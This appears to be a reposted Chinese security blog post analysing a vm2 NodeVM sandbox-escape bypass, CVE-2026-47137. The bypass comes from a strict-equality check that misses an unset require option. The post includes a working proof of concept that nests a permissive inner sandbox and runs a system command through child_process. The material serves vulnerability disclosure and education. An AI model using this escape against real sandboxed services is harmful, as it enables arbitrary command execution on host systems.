文章总结: 文档分析了vm2沙箱逃逸漏洞CVE-2026-47137等,指出在NodeVM配置中当nesting为true但require未显式设置时,由于严格相等检查options.require===false仅验证显式传入的false值,而未传入时undefined会通过检查但实际运行时被默认赋值为false,导致安全检查被绕过。攻击者可在沙箱内通过require(‘vm2’)获取库后创建配置更宽松的子沙箱执行系统命令。关键发现是检查时与运行时值不一致的TOCTOU问题,建议开发者修复时采用宽松相等或确保默认值与检查逻辑一致。 综合评分: 85 文章分类: 漏洞分析,WEB安全,安全开发,Node.js安全,沙箱安全
vm2沙箱逃逸满分漏洞?AI有点东西
原创
秋风 秋风
秋风的安全之路
2026年5月19日 16:47 广东
在小说阅读器读本章
去阅读
依旧标题党(((
今天正好下cve了随缘分享一下
1 Critical10/ 10
2 high
CVE-2026-47137
CVE-2026-47209
CVE-2026-47135
满分十分的这个是个绕过
之前的 CVE-2023-37903 修复时,作者意识到一个危险组合:
如果允许
nesting: true(可以创建子沙箱)但require: false(自己用不了 require),那么沙箱内的代码可以通过require('vm2')拿到 vm2 库本身,然后构造一个配置更宽松的子沙箱,从而完全逃逸。
所以补丁在 nodevm.js 第 263 行加了一道关卡:
if (options.nesting === true && options.require === false) { throw new VMError('...');}
绕过点:=== false 太严格了
问题出在 options.require === false 这个严格相等判断。它只在用户显式传入require: false 时才成立。
但在 JavaScript 中,如果用户根本不传 require 这个选项,options.require 的值是 undefined,而 undefined === false 是 false,检查直接跳过。
然后第 280 行有这么一句:
const { require: requireOpts = false } = options;
这是解构赋值的默认值语法 —— 当 options.require 是 undefined 时,requireOpts 被赋值为 false。
结果就是:运行时的实际行为完全等同于 require: false,但安全检查却被绕过了。这是典型的”检查时的值“和”使用时的值“不一致(TOCTOU 思维变体)。
#
const nvm = new NodeVM({ nesting: true }); // 不传 require,绕过检查
nvm.run(` // 第 1 步:在沙箱里拿到 vm2 库本身(因为 nesting:true) const { NodeVM } = require('vm2');
// 第 2 步:创建一个允许 child_process 的内层沙箱 const inner = new NodeVM({ require: { builtin: ['child_process'] } });
// 第 3 步:在内层沙箱里直接执行系统命令 module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()" );`);
内层 NodeVM 的配置完全独立于外层,vm2 没有”继承父沙箱限制”的机制。一旦你能控制内层沙箱的配置,你就能给它任意权限
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:秋风的安全之路 秋风 秋风《vm2沙箱逃逸满分漏洞?AI有点东西》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。






![[工具推荐]sql注入快速检测burp插件DetSql](/images/random/titlepic/10.jpg)


评论